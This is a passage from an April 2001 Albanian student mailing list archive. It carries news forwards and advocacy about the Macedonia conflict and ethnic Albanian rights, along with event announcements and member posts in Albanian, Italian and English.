is a very complex issue. First, Milosevic was a big Balkan problem and for ten years has held the Balkan hostage. His aspiration for a "Great Serbia" involved not only other republics but also Macedonia. This would not have been solved without NATO intervention, which opened possibilities and perspectives for a new future of the Balkans. But on the way to realizing this main goal, a secondary error was committed (as it was in other places) and this is the creation and support of the so-called (Kosovo Liberation Army) KLA by the Western powers. In the KLA, I see a new European Taliban. Many (ethnic) Albanian criminals and bandits were armed and militarily trained, and now no one can control them. They cause trouble mostly in Kosovo. There are hundreds of examples of (ethnic) Albanians murdered by the very structures that initiate aggression against south Serbia and western Macedonia. This power mostly consists of dismantled gangs of the former KLA. The West may face this problem, perhaps not in the form of terrorism, but by way of crime. Today, Albania and Kosovo are the biggest centers of drugs that are directly distributed further to Europe. These facts are recognized by many European states. Q. You keep blaming KLA and Kosovo but Western media reports that many of the Albanian extremists are Macedonian citizens... A. Macedonian Albanians are members of these structures. But all the military, logistics and financial support come from Kosovo. And Western countries possess proof of this. The main leaders are Macedonian Albanians who two years ago joined KLA structures. Now they are returning to Macedonia through Kosovo. Finally, Macedonia, in the last 10 years, granted citizenship to 160, (ethnic) Albanians from Kosovo and south Serbia who fled the tortures of Milosevic. (About) 90 percent of Macedonian Albanians who participate in these terrorist groups are these refugees from Yugoslavia. -- Copyright 2001 by United Press International. All rights reserved. From rlukaj at bear.com Fri Apr 6 20:54:04 2001 From: rlukaj at bear.com (Lukaj, Richard (Exchange)) Date: Fri, 6 Apr 2001 20:54:04 -0400 Subject: [ALBSA-Info] FW: NAAC JOINS PRESS CONFERENCE IN SUPPORT OF CONGRESSIONAL LETTE R TO TRAJKOVSKI Message-ID: National Albanian American Council 2000 L Street, N.W., Suite 200, Washington, DC 20036 (202) 416-1627 Fax: (202) 416-1628 Email: NAACDC at aol.com ______________________________________________________________________ Press Release NAAC JOINS PRESS CONFERENCE IN SUPPORT OF CONGRESSIONAL LETTER TO TRAJKOVSKI Washington, April 4, 2001: Today, leaders of the Congressional Albanian Issues Caucus released a letter to Macedonian President Boris Trajkovski calling upon government to expeditiously move to address the concerns of Macedonia's Albanian citizens. The letter is attached, as is a fact sheet outlining the concerns of Albanians in Macedonia. Ilir Zherka, President of the National Albanian American Council, joined the members of Congress at the press conference. His brief statement is below: We in the Albanian-American community strongly support a political solution to the conflict in Macedonia. But we think that the way to do that is to focus on the disease and not the symptoms. The disease in this case is systematic discrimination against Albanians by Macedonians. The cure is for that discrimination to end. The Macedonian government has it within its power to make the necessary changes in law and in practice to extend to Albanians equal rights and opportunities. This letter which was released today calls for the government to use this pause in fighting to make the needed changes so that the conflict can come to an end and Albanians can feel more a part of the society in that country. Unfortunately, recent talks in Macedonia ended without agreement, and some in Macedonia are fighting change and are calling for the government to listen more to Russia then the West. That would be a tragic mistake. Macedonia should not turn back from its journey to become a western-style democracy. The US has a very important role to play in ensuring that this will not happen. Members of Congress are playing that constructive role by sending this letter today. Next week, Secretary Colin Powell will visit Macedonia. We hope that he will be firmed with all sides in stressing that Macedonia must dramatically improved the way it treats its Albanian population. We firmly believe that the Macedonian government can end this crisis. But, in order to do so, it must be bold here and fully embrace its Albanian population as equals. If it fails to be bold, I am afraid that the situation will spiral out of control. I hope they do not miss this opportunity and that they will heed the message being sent today by members of the US Congress. April 4, 2001 His Excellency Boris Trajkovski President Former Yugoslav Republic of Macedonia Skopje, FYROM Dear Mr. President: We write to express our concern with the situation in your country and to urge your government to expeditiously move to address the concerns of Macedonia's Albanian citizens. Macedonia has been a good friend and strategic partner of the United States in recent years. Your support during Allied Force was critical and will not soon be forgotten. We would like to express our appreciation that your government has suspended its recent military actions and believe that this pause in fighting provides an opportunity for dialogue and compromise. We urge your government to work with the elected Albanian officials in Macedonia to address the concerns of Albanians throughout the region. Albanians in Macedonia have felt like second class citizens since Macedonia's independence. Their concerns are well known: Problematic language in your constitution declaring only Macedonians to be citizens; Denial of Albanian as a national language; Legislative districts drawn to minimize Albanian parliamentary representation; Under-representation in public employment; and, Lack of a publicly- financed Albanian university. We have opposed the recent militant action in Macedonia and will continue to do so. We believe quick action by your government to address the concerns of Albanians in Macedonia will go a long way to rectifying the current crisis and is vitally needed to bolster the legitimate, elected Albanian political leadership. If Albanian politicians are unable to demonstrate results soon, we fear that more will turn away from the political process, further destabilizing Macedonia. Macedonia is an important ally and strategic partner of the United States. We are confident that this relationship can continue in the future. However, we believe that such a relationship will prosper best if your government commits itself to promoting fairness for all of Macedonia. citizens and takes immediate steps to show Albanians that they are valued, equal members of society. We look forward to working with your government in the years to come to help bring stability and peace to your country and the region as a whole. Sincerely, Eliot L. Engel Sue W. Kelly Member of Congress Member of Congress John W. Olver Mark Steven Kirk Member of Congress Member of Congress THE CONFLICT IN MACEDONIA Summary Fact Sheet Why Are Albanians Upset? The fundamental problem in Macedonia is the view there - which is embedded in the Constitution -- that Macedonia is essentially a state of Slavic Macedonians. This has perpetuated systematic and institutionalized discrimination against ethnic Albanians who make up between 33 and 40 percent of the population of the country: ? Despite representing only slightly over 50 percent of the population, Slavic Macedonians have over 90 percent of the public sector jobs, 90 percent of the police force, and 90 percent of the student population in the universities. ? Macedonian is the only official language even in the Albanian part of the country. ? Only Macedonian-language universities enjoy public funding. ? Albanians have substandard schools, bad roads, poor health facilities, yet little local administrative control to address these and other problems. ? 100,000 Albanians not being recognized as citizens. ? 20 percent of Albanians in Macedonia were not counted in an earlier census. ? Parliamentary districts are drawn so that on average, an Albanian deputy represents about 18,000 people, while a Slavic Macedonian represents about 7,000. What Changes Would Albanians Like to See? The following changes must be made immediately if Macedonia is to prevent a wider war: ? Changes to the constitution to make them equal citizens. ? Right to use Albanian as an official language. ? Equal representation in the government. ? Equal employment opportunities within the public sector. ? Public financing for higher education in Albanian. ? Meaningful local authority and public financing to address the problems of everyday life. ? International oversight and involvement in the census to ensure it is free and accurate. ? Freedom to use Albanian flag and other cultural symbols. What Can the U.S. Do? ? Call on all sides in the dispute to stop the violence and respect a unilateral cease-fire. ? Call on Macedonia to make immediate and significant legal changes to end discrimination against Albanians. ? Send a special envoy to help mediate a resolution of the problem. ### From deti at ont.com Mon Apr 9 01:25:21 2001 From: deti at ont.com (Etel) Date: Mon, 09 Apr 2001 00:25:21 -0500 Subject: [ALBSA-Info] Nene Tereza Message-ID: <3.0.3.32.20010409002521.006c9108@mail.ont.com> Duke folur per altruizem ne klasen e "speech", mesuesi im shkarazi permendi Nene Terezen si shembull jo altruizmi por utilitarizmi. Ishte heret ne mengjes, keshtu une nuk i kushtova shume vemendje komenteve te tij. Duke u kthyer per ne shtepi po ate dite, mu kujtuan fjalet e tij. Vendos te lexoj disa artikuj ne internet per Nene Terezen. Gjej nje sere artikujsh qe viheshin kunder faktit qe Nene Tereza nuk e meriton gjithe ate fame prej engjelli. Aty thuej se ajo ne fakt nuk eshte ai engjell qe te gjithe e mendojne, por nje "skllave e doctrines se kishes katolike". Permendej fakti qe te gjithe ndihmat financiare qe i jane dhururar qendrojne te paperdorura ne banken e saj, nderkohe qe qendrat e saj bamirese qendronin ne kushte jashtezakonisht te varfra. Gjithashtu, veprat e saj bamirese thuhesh se ishin hipokrite per shkak te faktit se ajo refuzonte te blinte ilace per te semuret, dhe te krijonte kushte sanitare ne "shtepite" e hapura per ata qe vuanin, edhe pse te gjitha burimet financiare nuk mungonin. Me tej thuhej se ndersa te semureve u jepeshin inxheksione me shiringa te perdoruara disa here, dhe nuk u krijoheshin kushtet minimale, Nene Tereza per vete kurohej neper spitalet me te shtrenjta. Aty permendej edhe fakti qe kur ajo ka ardhur ne Tirane, ka vene kurore ne varin e Enver Hoxhes, pa permendur kurre shkeljet e te drejtave njerezore ne Shqiperi prej diktatorit. Hmmm...nuk di c'te mendoj. Ndoshta dikush nga ju ka ndonje mendim? Me te vertete jam cuditur...ndoshta sepse s'kisha marre mundimin te mendoja ndryshe per Nene Terezen. Etel H. From XHUNGA at unhcr.ch Mon Apr 9 11:21:31 2001 From: XHUNGA at unhcr.ch (Mariola Xhunga) Date: Mon, 09 Apr 2001 17:21:31 +0200 Subject: [ALBSA-Info] Nene Tereza Message-ID: An embedded and charset-unspecified text was scrubbed... Name: not available URL: From aalibali at yahoo.com Mon Apr 9 13:16:20 2001 From: aalibali at yahoo.com (Agron Alibali) Date: Mon, 9 Apr 2001 10:16:20 -0700 (PDT) Subject: [ALBSA-Info] Fwd: Events Message-ID: <20010409171620.75428.qmail@web11502.mail.yahoo.com> Note: forwarded message attached. __________________________________________________ Do You Yahoo!? Get email at your own domain with Yahoo! Mail. http://personal.mail.yahoo.com/ -------------- next part -------------- An embedded message was scrubbed... From: Kokkalis_Program at ksg.harvard.edu Subject: Events Date: Mon, 9 Apr 2001 13:04:37 -0400 Size: 2248 URL: From aalibali at yahoo.com Mon Apr 9 13:17:51 2001 From: aalibali at yahoo.com (Agron Alibali) Date: Mon, 9 Apr 2001 10:17:51 -0700 (PDT) Subject: [ALBSA-Info] Hombach at Kennedy School Message-ID: <20010409171751.51922.qmail@web11506.mail.yahoo.com> Wednesday, April 25, 2001 4:00 p.m. "Future Challenges in Southeastern Europe and the Role of the West" Mr. Bodo Hombach, Special Co-ordinator of the Stability Pact for Southeastern Europe John F. Kennedy School of Government Belfer Building, Bell Hall 79 JFK Street, Cambridge MA __________________________________________________ Do You Yahoo!? Get email at your own domain with Yahoo! Mail. http://personal.mail.yahoo.com/ From kruja at fas.harvard.edu Mon Apr 9 15:25:45 2001 From: kruja at fas.harvard.edu (Eriola Kruja) Date: Mon, 9 Apr 2001 15:25:45 -0400 (EDT) Subject: [ALBSA-Info] education (fwd) Message-ID: does anyone have this information? agron? mark? eriola. ---------- Forwarded message ---------- Date: Mon, 09 Apr 2001 16:45:41 -0000 From: ellbert chent To: webmaster at albstudent.org Subject: education Hello there! How are you doing? I'm very interested in Albania's and Kosova's education systems, and want to know more about them. I want to understand the structure of Albania's and Kosova's educational systems, and I am keen to gain more information about them. I have been strongly recommended that you people would provide the best knowledge and concerning education in Albania and Kosova. So I've just got a question for you and I hope you can help me answer it. Well, here it is: 1.) Can you give me the e-mail addresses of Albania's and Kosova's respective Ministries of Education please? Thanks for your time. Kindest regards, Ellbert. _________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com. From aalibali at law.harvard.edu Mon Apr 9 23:40:30 2001 From: aalibali at law.harvard.edu (aalibali at law.harvard.edu) Date: Mon, 9 Apr 2001 23:40:30 -0400 Subject: [ALBSA-Info] Summer University: Stability Pact in SEE, Sibiu, July 2001 Message-ID: An embedded message was scrubbed... From: bieberf at seep.ceu.hu Subject: [balkans] Summer University: Stability Pact in SEE, Sibiu, July 2001 Date: Mon, 9 Apr 2001 22:38:16 +0200 Size: 3297 URL: From aalibali at yahoo.com Tue Apr 10 07:44:20 2001 From: aalibali at yahoo.com (Agron Alibali) Date: Tue, 10 Apr 2001 04:44:20 -0700 (PDT) Subject: [ALBSA-Info] First implementation of Italian minority law Message-ID: <20010410114420.35634.qmail@web11502.mail.yahoo.com> Pianeta Balcani: Albania IMMIGRAZIONE: RICONOSCIMENTO PER COLONIA ALBANESE A PESCARA (ANSA) - PESCARA, 9 APR - Arriva il primo riconoscimento ufficiale per la minoranza linguistica di Villa Badessa, frazione di Rosciano (Pescara), dove da secoli vive la colonia italoalbanese piu' settentrionale d' Italia. Il consiglio provinciale di Pescara ha, infatti, approvato la delimitazione dell' ambito territoriale della colonia, all' interno del quale potranno essere applicate le norme, a tutela delle minoranze linguistiche, fissate dall' art.3 della legge 482/99. Il provvedimento era stato sollecitato dal consiglio comunale di Rosciano. I cittadini di Villa Badessa potranno chiedere, ad esempio, che l' insegnamento della lingua italiana sia affiancato da quello dell' albanese, oltre a poter usufruire delle agevolazioni previsti dalla legge nazionale. I circa cinquecento abitanti rimasti sono i discendenti di un gruppo di diciotto famiglie che partirono, nella prima meta' del secolo XVIII, dall' Albania meridionale per sfuggire all' occupazione turca nei Balcani. Giunti in Italia, ricevettero da Carlo III di Borbone i due feudi allodiali dell' Abbadessa e di Piano di Coccia, insediandosi ufficialmente in Abruzzo il 4 marzo 1744. Il piccolo nucleo era accompagnato da due sacerdoti ortodossi, cui fu affidata la cura della comunita' che, ancora oggi, celebra suggestivi riti in occasione della Pasqua ortodossa. (ANSA). YXU-GO 09/04/2001 20:11 __________________________________________________ Do You Yahoo!? Get email at your own domain with Yahoo! Mail. http://personal.mail.yahoo.com/ From aalibali at yahoo.com Tue Apr 10 08:13:13 2001 From: aalibali at yahoo.com (Agron Alibali) Date: Tue, 10 Apr 2001 05:13:13 -0700 (PDT) Subject: [ALBSA-Info] ANA - 10 April, 2001 Message-ID: <20010410121313.96734.qmail@web11501.mail.yahoo.com> ATHENS ASKED TO RECHECK MILOSEVIC'S ACCOUNTS Athens, 10 April 2001 (14:26 UTC+2) The chief prosecutor of the War Crimes Tribunal Carla Del Ponte has reportedly filed another request with the Greek authorities to investigate anew the bank accounts of former Yugoslav President Slobodan Milosevic, even though earlier inquiries had failed to produce any incriminating data. According to the Athens daily ?Imerisia?, Ms. Del Ponte has complained over the Greek authorities' failure to freeze those accounts, even though such move would not have been justified given the absence of money-laundering evidence. According to Ms. Del Ponte, who has dispatched an envoy to Greece for this purpose, the accounts in question were used to transfer money abroad and, after a labyrinthine trail, were channeled to Milosevic and his associates. __________________________________________________ Do You Yahoo!? Get email at your own domain with Yahoo! Mail. http://personal.mail.yahoo.com/ From aalibali at yahoo.com Tue Apr 10 08:20:04 2001 From: aalibali at yahoo.com (Agron Alibali) Date: Tue, 10 Apr 2001 05:20:04 -0700 (PDT) Subject: [ALBSA-Info] KOHA JONA - 10 prill 2001 Message-ID: <20010410122004.97762.qmail@web11501.mail.yahoo.com> Greqia, 50 mije dhrahmi pension cdo himarioti Nga Himara, Anila BASHA/ Himara, qyteti bregdetar jugor plot me probleme, nuk e ka ndryshuar shume pamjen e tij ne kete vit qe ka hyre. Njerezit duket se nuk jane aq te irrituar, ashtu sikurse ndodhi ne zgjedhjet lokale te vitit te kaluar. Aty dallget e detit kane filluar te perplasen tek ndertimet pa leje, qe sic thone banoret e zones, nuk eshte prekur asgje qe nga koha e premtimeve te zgjedhjeve lokale. Rruget kane mbetur po ato, edhe pse ishte premtuar shtrimi i unazes se qytetit, dhe fondet jane dhene nga qeveria shqiptare per ndertimin e kesaj rruge. Kur mendon se zgjedhjet e ardhshme parlamentare po afrojne dhe lufta politike do te mbetet e hapur si ka qene edhe ne zgjedhjet e kaluara, situata rendohet edhe me shume. Ka kaq shume halle ky qytet, tek i cili pretendohet qe kete vit shteti te vjele te ardhurat me te medha nga turizmi. "Sikur te na japin ndonje kredi per te mbaruar keto ndertime qe kemi nisur! Si t'i mbarojme? Me se t'i bejme?" A thua se vertet himariotet jane kaq te vuajtur ne fakt, por ata, e kerkojne nje gje te tille. te gjitha investimet e filluara, duhet te perfundojne gjate ketij viti. Dhe kjo, sepse Himara vertet aktualisht ka vetem 2000 banore dhe rreth 1700 familje, por numri i popollates, ashtu sikurse cdo vit tjeter, do t'i kaloje te 10 mije vetet. "Kete vit fryjne erera te mbara, sepse edhe ata turistet nga Maqedonia, apo edhe zona te tjera, ketu do te vijne". banoret e kesaj zone, e kane kuptuar shume mire fluksin e madh te njerezve qe do t'u bujtin ne dere kete vit. Por edhe pse bejne perpjekje te medha, duket se nuk do te kene asnje rezultat deri ne fillimin e plazhit. Pavaresisht se ndihej fryma e fillimit te plazhisteve qe i gezoheshin diellit te nxehte dhe valeve te detit. Hallet kane mbetur ato te tetorit Premtimet e dhena ne qytetin e vogel te Himares, duket se kane humbur ne detin e madh. Himariotet, nuk kane asnje lidhje me Tiranen, kryeqytetin e Shqiperise. Dhe kjo per shume arsye. "Ne duam qe ju te percillni fjalen tone ne Tirane: ne duam te shohim ndonje kanal televiziv shqiptar. As Televizionin Shqiptar nuk na e kap ketu ne Himare. Nuk dime se c'behet fare nga Tirana. Duhet te behet dicka per kete sepse ne nuk mund te rrime ne kete gjendje". Kjo eshte kerkesa e pare e banoreve te zones, te cilet cdo dite shplodhin syte e tyre jo vetem me detin, por edhe me kanalet televizive greke, qe duket sikur edhe antenat e tyre i kane te montuara ne ndonje maje mali perreth Himares. Ata nuk degjojne asnje gje shqip, dhe nuk shohin se c'ndodhne anen shqiptare, ndersa jane shume te informuar per politiken greke ne pergjithesi. Madje, as Radio Tirana e degjuar shume ne kete zone, nuk arrin te degjohet. Por serish nuk mbetet ky problemi kryesor. "Po pe kerkon ti televizor, kur nuk ke drita?". Gjysmen e fjalorit shqip, dhe gjysmen me theksin greqisht, dikush aty prane i ankohet personit qe foli ne mikrofon se ne te vertete, duhet te trajtoje shqetesimet me te medha. Dhe kjo eshte mungesa e energjise elektrike nga ora tete e mengjezit, deri ne oren 9.30 te mbremjes. Dhe kjo per qytetaret eshte e patolerueshme per njerezit me pushtet qe zbriten me pompozitet ne Himare per zgjedhje dhe bene kaq shume premtime. Ashtu sikurse edhe nje vit me pare, nuk behet fjale per telefoni celulare shqipe ne qytetin bregdetar. te shohim se cfare do te servirin kesaj rradhe per Himaren biznesmenet e medhenj greke, te cilet kane marre ne duar dy operatoret celulare te licensuar ne Shqiperi. Megjithate Panafoni grek i ka shtrire tentakulat e veta edhe ne territor shqiptar. Uji eshte nje tjeter shqetesim i premtuar per himariotet, por i parealizuar. Grate himariote, kane gjetur ne te vertete mundesine per te shkuar buze detit dhe per te lare rrobat, nderkohe qe ai pak uje qe u vjen e perdorin per te pire. "Uje dhe drita duam, nuk do te kerkonim ndonje gje tjeter qe per momentin nuk e kemi", thone ata njezeri. Askush nuk ndjehet optimist per te ashtuquajturat investime te premtuara per qytetin e vogel bregdetar. Madje, edhe per rrugen e Llogarase, qe te con ne Himare, nuk jane shume optimiste se do te behet. "I kane ngrene parate, i kane ngrene", thone disa nga banoret, duke i drejtuar syte lart, si per te thene qeveritaret aktuale. Por ajo qe te ben me shume pershtypje ne qytetin e vogel, eshte pikerisht influenca greke ne kete zone, e cila vazhdon te rritet kohe pas kohe. Shteti grek, gjate ketyre muajve qe kane kaluar qe nga zgjedhjet e tetorit te vitit te kaluar, nuk ka ndenjur indiferent perballe problemit shqiptar-minoritet grek ne kete zone. Nenkryetari i OMONIA-s, Vasil Bollano, ish kandidati per kryetar bashkie ne zgjedhjet e tetorit te vitit te kaluar, thote se OMONIA eshte e pakenaqur nga shifra statistikore e dhene per minoritetin grek ne kete zone. Banoret konfirmojne megjithate, se shteti grek po ben te pamunduren per me shume influence ne keto zona. Dhe gjithcka pasqyrohet edhe tek ndihma sociale qe banoret pleq te Tiranes marrin nga shteti grek ne baze te nje programi te Bashkimit Evropian. Ndersa shume kohe me pare, deri ne zgjedhjet e tetorit te vitit te kaluar, ndihma sociale per ta ka qene 40 mije dhrahmi, gjate gjithe kesaj periudhe kjo ndihme eshte rritur edhe 10 mije dhrahmi te tjera, duke e cuar kete shifer deri ne 50 mije dhrahmi, nje shifer kjo jo e vogel. Ndersa per ata qe jane aktualisht ne Greqi, pra pjesa me e madhe e himarioteve te cilet kane me shume sesa 5 vjet ne kete vend, perftojne edhe pashaporten greke. Kjo eshte politika e ndjekur ne garen teper te ashper qe do te zhvillohet per keto zgjedhje. Petro Koci-Stavri Marko, ne gare per Himaren Duke mbetur ne situaten parazgjedhore ne Himare, perfaqesuesit socialiste i kane bere gati tashme gjithe propozimet e tyre, ndersa perfaqesuesit e minoritetitjane akoma ne kerkim te kandidaturave. Zona elektorale qe perfshin Himaren ka nje shtrirje qe nga Komuna e Lukoves, Bashkia e Himares, Komuna e Vranishtit e Brarit dhe Kotes. Sipas kryetarit te partise socialiste te qytetit te Himares Jorgji Buta, deri tani keshillat zonale te qytetit kane nxjerre tre kandidatura kryesore: njera i perket kryetarit te PS se qytetit te Vlores, ka dale si propozim ajo e Petro Kocit, sekretar organizativ i PS, i cili eshte me origjine nga Qeparoi si dhe Anastas Angjelit. Kandidatura e ketij te fundit perjashtohet nga kjo zone sepse Ministri i Financave do te vendose kandidaturen ne Tirane. Sipas zotit Buta, keto do te jene propozimet qe do te shkojne deri ne konference, nderkohe qe deri tani ende nuk eshte menduar per ndonje aleance paraprake mes gjithe forcave politike, ashtu sikurse ndodhi ne zgjedhjet lokale te tetorit te ketij viti. Kur permendet emri i Ministrit te Jashtem shqiptar Paskal Milo, si nje kandidature e mundshme, Buta thote se ky propozim vjen nga Partia Socialdemokrate. "Por deri tani nuk dihet se si do te jete bashkepunimi dhe perzgjedhja ne qender", sqaron kryetari socialist. Nuk ndihet e njejta ere ndryshimesh ne struktura, persa i perket kampit te OMONIA-s. Vasil Bollano, tha per KJ se vete kjo organizate do te bashkepunoje me Partine e te drejtave te Njeriut dhe se se bashku do te nxjerrin nje kandidature per deputet. Bollano tha se keto zgjedhje nuk duhet te jene absolutisht si zgjedhjet e tetorit te vitit te kaluar, sipas tij te manipuluara. "Sa per kandidaturat ne ende nuk kemi perzgjedhur ndonje", sqaron Bollano. Megjithate nuk ngurron te thote se eshte ofruar vete per te kandiduar Stavri Marko, duke dashur te mbeshtetet nga OMONIA dhe Partia e te drejtave te Njeriut. "Ai e ka sjelle kerkesen prane organizates sone, por ende ne nuk e kemi vendosur. Kjo kerkese e tij do te shqyrtohet ne kryesine e OMONIA-s", thote Bollano per gazeten "KJ". Fushata edhe kete here do te jete nje nder me te ashprat qe do te zhvillohen ne kete zone. pavaresisht se deri tani qeveria shqiptare ka vene ne dispozicion te Bashkise se Himares mbi 1 miliarde e 400 milione leke te vjetra. Llogaraja, mali qe u be autostrade Qafa e Llogarase, ka marre pamjen e nje kantieri tashme te perfunduar. Askush nuk e mendonte se rruga qe nga hyrja ne qafen e Llogarase deri ne dalje te saj, do te rregullohej ne nje kohe kaq te shkurter. Kolonel Islam Batalli qe eshte njekohesisht edhe shefi i forcave xheniere te ushtrise qe punojne per zgjerimin e rruges ne kete zone, tha se deri tani jane bere gati per asfaltim rreth 6 kilometra, nderkohe qe po punohet ne nje segment rrugor prej 12.5 kilometrash. "Rruga eshte zgjeruar dy here. Vende vende ajo shkon deri ne tete metra, por zgjerimi normal i saj kap te 7 metrat", sqaron Batalli per KJ. Por kjo nuk ka qene nje pune e thjeshte. Jane arritur te hiqen rreth 43 mije metra kub shkemb dhe jane bere rreth 35 mije shperthime per te hyre deri ne brendesi te Qafes se veshtire te Llogarase. Aktualisht jane hequr pjesa me e madhe e mjeteve dhe ne pune kane mbetur vetem 13 te tilla per te vazhduar punimet. Batalli sqaron se punohet per te mbyllur kete rruge brenda afateve te caktuara. "Madje ne do ta perfundojme zgjerimin dhe pastrimin e rruges 10 dite para afatit", garanton ai duke u shprehur njekohesisht se ky eshte nje angazhim i ndermarre perpara Kryeministrit dhePresidentit te Republikes. Aktualisht ne Qafen e Llogarase, puna ishte ne fazen perfundimtare, cka do te thoshte ne te vertete, vetem heqje e dherave dhe shkembinjve te mbetur. Pr punetoret mbeten te pakenaqur nga menyra sesi pagohen per kete pune te bere. "Punojme qe nga ora 7 e mengjezit deri ne tete te mbremjes. Sa per rrogen mos na pyet se na dhemb ne zemer. Paguhemi shume pak. Eshte e vertete se na eshte premtuar rritje rroge 400 perqind, por paga qe ne marrim eshte e ulet. Une personalisht marr 94 mije leke te vjetra, por ka edhe shofere qe marrin nga 70 mije leke te vjetra. Ne patjeter ne perfundim te kesaj pune, e duam nga nje shperblim", thote nje nga punetoret. Dhe eshte e vertete qe atyre ushtarakeve qe kane 6 muaj qe punojne intesivisht per te care malin, u takon nga nje shperblim per punen e jashtezakonshme qe kane arritur te bejne. 04/10/2001 __________________________________________________ Do You Yahoo!? Get email at your own domain with Yahoo! Mail. http://personal.mail.yahoo.com/ From aalibali at law.harvard.edu Tue Apr 10 15:36:59 2001 From: aalibali at law.harvard.edu (aalibali at law.harvard.edu) Date: Tue, 10 Apr 2001 15:36:59 -0400 Subject: [ALBSA-Info] Call for Papers: Strategies for Revitalising East European Cities, Prague, September 2001 Message-ID: An embedded message was scrubbed... From: bieberf at seep.ceu.hu Subject: [balkans] CfP: Strategies for Revitalising East European Cities, Prague, September 2001 Date: Tue, 10 Apr 2001 18:21:54 +0200 Size: 4099 URL: From aalibali at yahoo.com Tue Apr 10 15:44:20 2001 From: aalibali at yahoo.com (Agron Alibali) Date: Tue, 10 Apr 2001 12:44:20 -0700 (PDT) Subject: [ALBSA-Info] MPA - 10 April 2001 Message-ID: <20010410194420.1695.qmail@web11504.mail.yahoo.com> [14] OMONIA: PRESSURES EXERTED ON THE ETHNIC GREEK MINORITY IN ALBANIA Tirana, 10 April 2001 (17:48 UTC+2) The ethnic Greek minority organization "Omonia" in Albania in a statement it has issued condemned the pressures exerted on the Greek minority members and the efforts made which are aimed at creating a climate of intimidation mainly in south Albania forcing the ethnic Greeks to participate in the population census that will be completed in Albania at the end of the month. In the statement it is stressed that the Greek minority has responded positively to the appeal issued by the "Omonia" general council and abstains from the population census process in a show of protest to its questionnaire that does not give the opportunity to the Albanian citizens to state their ethnic origin or religion in the case they wish to do so. The organization condemned the intimidation incidents on behalf of the state authorities and the unusual presence of secret service men in the regions of the ethnic Greek minority. Such pressures were recorded mainly in the cities of Kato Dropolis and Chimara. In the statement it has issued, "Omonia" calls on the Albanian government and international organizations to use their influence to end the intimidation climate and interventions, while it also calls for the adoption of measures to correct the injustice made to the ethnic Greek minority. "Omonia" representative Michalis Latsos stated to MPA that the adoption of a open procedure in the registering of the ethnic Greek minority members, allowing them to state their ethnic origin and religion if they wished to do so, was always the firm demand of the organization. The issue is expected to be discussed today in a meeting of Albanian prime minister Ilir Meta with "Omonia" representatives. __________________________________________________ Do You Yahoo!? Get email at your own domain with Yahoo! Mail. http://personal.mail.yahoo.com/ From albi at argjiro.net Tue Apr 10 15:06:08 2001 From: albi at argjiro.net (albi) Date: Tue, 10 Apr 2001 19:06:08 -0000 Subject: [ALBSA-Info] http://president.gov.al/albania.htm Message-ID: <000201c0c1f1$4ecfe360$283c4a90@slimshady.uic.edu> http://president.gov.al/albania.htm While all current world maps show that Albania is bordered by the entity which is known as Kosova/Kosovo, this is not the case with the Balkans map present at the official website of the president of Albania, a country which has recognized the independence of Kosova. The same map uses the tag "beli drim" for the big river which is widely known among Albanians as "Drini i Bardhe". If those disappointing people can't do it right, why do they even bother to have that official web-site? From XHUNGA at unhcr.ch Wed Apr 11 02:39:14 2001 From: XHUNGA at unhcr.ch (Mariola Xhunga) Date: Wed, 11 Apr 2001 08:39:14 +0200 Subject: [ALBSA-Info] E-mail address of Albania's Ministry of Education Message-ID: This is not the general e-mail address of the Ministry of Education of Albania, but the address of Mrs. Tatiana Vucani who is responsable for Foreign Languages Department. She is able to direct any question to other persons of concern. Here it is her email address: tvucani at mash.gov.al Best regards, Marjola >>> 04/11/01 07:01am >>> Send ALBSA-Info mailing list submissions to albsa-info at alb-net.com To subscribe or unsubscribe via the World Wide Web, visit http://www.alb-net.com/mailman/listinfo/albsa-info or, via email, send a message with subject or body 'help' to albsa-info-request at alb-net.com You can reach the person managing the list at albsa-info-admin at alb-net.com When replying, please edit your Subject line so it is more specific than "Re: Contents of ALBSA-Info digest..." Today's Topics: 1. education (fwd) (Eriola Kruja) 2. Summer University: Stability Pact in SEE, Sibiu, July 2001 (aalibali at law.harvard.edu) 3. First implementation of Italian minority law (Agron Alibali) 4. ANA - 10 April, 2001 (Agron Alibali) 5. KOHA JONA - 10 prill 2001 (Agron Alibali) 6. Call for Papers: Strategies for Revitalising East European Cities, Prague, September 2001 (aalibali at law.harvard.edu) 7. MPA - 10 April 2001 (Agron Alibali) --__--__-- Message: 1 Date: Mon, 9 Apr 2001 15:25:45 -0400 (EDT) From: Eriola Kruja To: ALBSA-Info Subject: [ALBSA-Info] education (fwd) does anyone have this information? agron? mark? eriola. ---------- Forwarded message ---------- Date: Mon, 09 Apr 2001 16:45:41 -0000 From: ellbert chent To: webmaster at albstudent.org Subject: education Hello there! How are you doing? I'm very interested in Albania's and Kosova's education systems, and want to know more about them. I want to understand the structure of Albania's and Kosova's educational systems, and I am keen to gain more information about them. I have been strongly recommended that you people would provide the best knowledge and concerning education in Albania and Kosova. So I've just got a question for you and I hope you can help me answer it. Well, here it is: 1.) Can you give me the e-mail addresses of Albania's and Kosova's respective Ministries of Education please? Thanks for your time. Kindest regards, Ellbert. _________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com. --__--__-- Message: 2 Date: Mon, 9 Apr 2001 23:40:30 -0400 From: aalibali at law.harvard.edu TO: Albsa-info at alb-net.com Subject: [ALBSA-Info] Summer University: Stability Pact in SEE, Sibiu, July 2001 --openmail-part-1d2e18f2-00000001 Content-Type: text/plain; charset=US-ASCII Content-Disposition: inline ;Creation-Date="Mon, 9 Apr 2001 23:40:06 -0400" ;Modification-Date="Mon, 9 Apr 2001 23:40:30 -0400" Content-Transfer-Encoding: 7bit --openmail-part-1d2e18f2-00000001 Content-Type: message/rfc822 Message-Id: Date: Mon, 9 Apr 2001 22:38:16 +0200 Subject: [balkans] Summer University: Stability Pact in SEE, Sibiu, July 2001 MIME-Version: 1.0 Sender: bieberf at seep.ceu.hu TO: balkans at yahoogroups.com FROM: bieberf at seep.ceu.hu Content-Type: multipart/Mixed; boundary="openmail-part-1d2e18f2-00000002" --openmail-part-1d2e18f2-00000002 Content-Type: text/plain; charset=US-ASCII Content-Disposition: inline ;Creation-Date="Mon, 9 Apr 2001 22:38:16 +0200" ;Modification-Date="Mon, 9 Apr 2001 22:38:16 +0200" Content-Transfer-Encoding: 7bit From: "EUROLINK - House of Europe" EUROLINK - House of Europe Foundation ROMANIA Member of the International Federation of European Houses (FIME) Consultative Status to the Council of Europe Secretary Office address: Sos. Colentina 2A, Bloc 3 ap. 45, sector 2, Bucharest (401) 688 42 66 eurolink at fx.ro Internet: 